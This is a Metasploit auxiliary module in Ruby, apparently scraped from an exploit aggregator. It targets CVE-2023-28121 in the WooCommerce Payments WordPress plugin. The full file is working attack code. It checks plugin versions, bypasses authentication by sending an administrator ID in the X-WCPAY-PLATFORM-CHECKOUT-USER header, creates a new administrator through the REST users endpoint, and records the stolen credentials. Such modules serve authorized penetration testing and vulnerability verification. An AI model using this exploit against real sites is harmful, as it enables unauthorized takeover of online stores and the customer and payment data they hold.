## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-WP_WOOCOMMERCE_PAYMENTS_ADD_USER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation',
'Description' => %q{
WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1,
5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1,
5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number
within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Michael Mazzolini', # original discovery
'Julien Ahrens' # detailed writeup
],
'References' => [
['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'],
['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'],
['CVE', '2023-28121']
],
'DisclosureDate' => '2023-03-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'User to create', '']),
OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']),
OptString.new('EMAIL', [false, 'Email to create, random if blank', '']),
OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]),
OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/'])
]
)
end
def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
vuln_versions = [
['4.8', '4.8.2'],
['4.9', '4.9.1'],
['5.0', '5.0.4'],
['5.1', '5.1.3'],
['5.2', '5.2.2'],
['5.3', '5.3.1'],
['5.4', '5.4.1'],
['5.5', '5.5.2'],
['5.6', '5.6.2']
]
vuln_versions.each do |versions|
introduced = versions[0]
fixed = versions[1]
checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced)
if checkcode == Exploit::CheckCode::Appears
return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable')
end
end
Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed')
end
def run
password = datastore['PASSWORD']
if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alphanumeric(10..15)
end
email = datastore['EMAIL']
if datastore['EMAIL'].blank?
email = Rex::Text.rand_mail_address
end
username = datastore['USERNAME']
if datastore['USERNAME'].blank?
username = Rex::Text.rand_text_alphanumeric(5..20)
end
print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})")
['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites
if url_root == '/rest'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
'method' => 'POST',
'ctype' => 'application/json',
'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' },
'data' => {
'username' => username,
'email' => email,
'password' => password,
'roles' => ['administrator']
}.to_json
})
else
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'),
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'username' => username,
'email' => email,
'password' => password,
'roles' => ['administrator']
}.to_json
})
end
fail_with(Failure::Unreachable, 'Connection failed') unless res
next if res.code == 404
if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/)
print_good('User was created successfully')
if framework.db.active
create_credential_and_login({
address: rhost,
port: rport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: 'WordPress',
username: username,
private_type: :password,
private_data: password,
module_fullname: fullname,
access_level: 'administrator',
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
})
end
else
print_error("Server response: #{res.body}")
end
break # we didn't get a 404 so we can bail on the 2nd attempt
end
end
end